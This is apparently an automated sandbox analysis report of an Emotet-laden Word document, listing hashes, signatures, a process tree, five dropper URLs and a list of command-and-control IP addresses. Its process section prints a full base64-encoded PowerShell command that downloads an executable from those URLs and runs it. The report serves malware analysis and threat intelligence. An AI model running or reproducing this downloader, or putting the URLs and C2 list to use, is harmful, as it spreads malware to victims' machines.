Analysis
-
max time kernel
76s -
max time network
156s -
platform
windows7_x64 -
resource
win7 -
submitted
01-08-2020 19:38
General
-
Target
SecuriteInfo.com.Exploit.Siggen2.12917.8592.9111.doc
-
Size
175KB
-
MD5
84b4a3bdfd680dc3fde940f31a74dc97
-
SHA1
e0ca5c78044b5feee5e67dc4e74a7420d5705f05
-
SHA256
501948f523c9bce4662fe102da5d632e953fccc2f521565eabc8f424297a4f1f
-
SHA512
fbeac6eb5aefb96957026ffd95368ce9c6d7822dec96eb391983807d69a045d90c24bec19a3347f50626a669d4729033bafe0036b92e64152b71edeb251a67e8
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://jkncrew.com/cgi-bin/KhSO16ZAAf/
exe.dropper
http://jmlandscapingservice.com/content/fhGAfKs/
exe.dropper
http://jimlowry.com/dlqCTc01p/
exe.dropper
http://www.lesliemontenegro.com/wp-includes/I1hHqDE6/
exe.dropper
http://johnkeanestudios.com/r00t/vAWElRm/
Extracted
Family
emotet
C2
73.116.193.136:80
185.94.252.13:443
149.62.173.247:8080
89.32.150.160:8080
185.94.252.12:80
77.90.136.129:8080
83.169.21.32:7080
104.236.161.64:8080
114.109.179.60:80
189.2.177.210:443
68.183.190.199:8080
144.139.91.187:443
185.94.252.27:443
190.181.235.46:80
82.196.15.205:8080
46.28.111.142:7080
181.167.96.215:80
202.62.39.111:80
219.92.13.25:80
191.99.160.58:80
rsa_pubkey.plain
Signatures
-
Emotet Payload 4 IoCs
Detects Emotet payload in memory.
-
Suspicious use of SetWindowsHookEx 4 IoCs
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Suspicious behavior: EnumeratesProcesses 5 IoCs
-
Blacklisted process makes network request 2 IoCs
-
Executes dropped EXE 2 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Drops file in System32 directory 2 IoCs
-
Emotet
Emotet is a trojan that is primarily spread through spam emails.
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 280 IoCs
Processes
-
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.12917.8592.9111.doc"1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Modifies registry class
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABHAFMASgBLAE8AdABrAGoAPQAnAEgAUQBGAFEAVwB6AGUAbgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AGAAUgBgAEkAVAB5AFAAcgBgAG8AVABPAGMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAUwBYAEwAVQBQAGcAdwBpACAAPQAgACcANQA0ADUAJwA7ACQAVwBBAFEATABOAG8AdwBoAD0AJwBPAEgASQBFAFoAeQBoAHUAJwA7ACQAUQBMAFMASgBLAGkAcQBhAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABTAFgATABVAFAAZwB3AGkAKwAnAC4AZQB4AGUAJwA7ACQARwBXAFoAWgBCAGoAagBqAD0AJwBDAEEATABRAEIAcwB1AG0AJwA7ACQAUgBOAFoATABNAHAAZQB6AD0ALgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagBlAGMAdAAnACkAIABuAEUAVAAuAFcARQBCAEMATABpAEUATgBUADsAJABGAEwAWQBDAE4AaQBwAGUAPQAnAGgAdAB0AHAAOgAvAC8AagBrAG4AYwByAGUAdwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAEsAaABTAE8AMQA2AFoAQQBBAGYALwAqAGgAdAB0AHAAOgAvAC8AagBtAGwAYQBuAGQAcwBjAGEAcABpAG4AZwBzAGUAcgB2AGkAYwBlAC4AYwBvAG0ALwBjAG8AbgB0AGUAbgB0AC8AZgBoAEcAQQBmAEsAcwAvACoAaAB0AHQAcAA6AC8ALwBqAGkAbQBsAG8AdwByAHkALgBjAG8AbQAvAGQAbABxAEMAVABjADAAMQBwAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbABlAHMAbABpAGUAbQBvAG4AdABlAG4AZQBnAHIAbwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ASQAxAGgASABxAEQARQA2AC8AKgBoAHQAdABwADoALwAvAGoAbwBoAG4AawBlAGEAbgBlAHMAdAB1AGQAaQBvAHMALgBjAG8AbQAvAHIAMAAwAHQALwB2AEEAVwBFAGwAUgBtAC8AJwAuACIAUwBQAEwAYABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABRAEcAVwBWAFMAbABkAHUAPQAnAFkATQBHAFIAUABmAGIAZwAnADsAZgBvAHIAZQBhAGMAaAAoACQASgBXAFAAQQBJAGoAbwBtACAAaQBuACAAJABGAEwAWQBDAE4AaQBwAGUAKQB7AHQAcgB5AHsAJABSAE4AWgBMAE0AcABlAHoALgAiAEQAbwBXAGAATgBMAG8AQQBgAEQARgBpAEwARQAiACgAJABKAFcAUABBAEkAagBvAG0ALAAgACQAUQBMAFMASgBLAGkAcQBhACkAOwAkAEMAWABaAEcAQwBkAGEAdAA9ACcAVgBYAEYAUQBKAG4AcABxACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQAUQBMAFMASgBLAGkAcQBhACkALgAiAGwAYABlAE4AZwB0AEgAIgAgAC0AZwBlACAAMwAwADIAMAA5ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAYABlAEEAdABlACIAKAAkAFEATABTAEoASwBpAHEAYQApADsAJABLAEUATgBXAEgAcwBsAHcAPQAnAEwATABGAE8AVQBiAHMAcAAnADsAYgByAGUAYQBrADsAJABLAEUAUwBWAFkAZQBoAHgAPQAnAEkARABUAEIAWQBzAHcAdgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABQAEIAUgBOAFIAZwBzAGgAPQAnAFAASQBMAE8AUgB4AGYAZwAnAA==1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
- Drops file in System32 directory
-
C:\Users\Admin\545.exeC:\Users\Admin\545.exe1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
-
C:\Windows\SysWOW64\fdBthProxy\pots.exe"C:\Windows\SysWOW64\fdBthProxy\pots.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\545.exe
-
C:\Users\Admin\545.exe
-
C:\Windows\SysWOW64\fdBthProxy\pots.exe
-
memory/832-2-0x0000000008F50000-0x0000000008F54000-memory.dmpFilesize
16KB
-
memory/832-5-0x000000000B010000-0x000000000B014000-memory.dmpFilesize
16KB
-
memory/832-6-0x000000000C090000-0x000000000C094000-memory.dmpFilesize
16KB
-
memory/1604-11-0x0000000000000000-mapping.dmp
-
memory/1604-13-0x0000000000680000-0x000000000068C000-memory.dmpFilesize
48KB
-
memory/1800-10-0x00000000002B0000-0x00000000002BC000-memory.dmpFilesize
48KB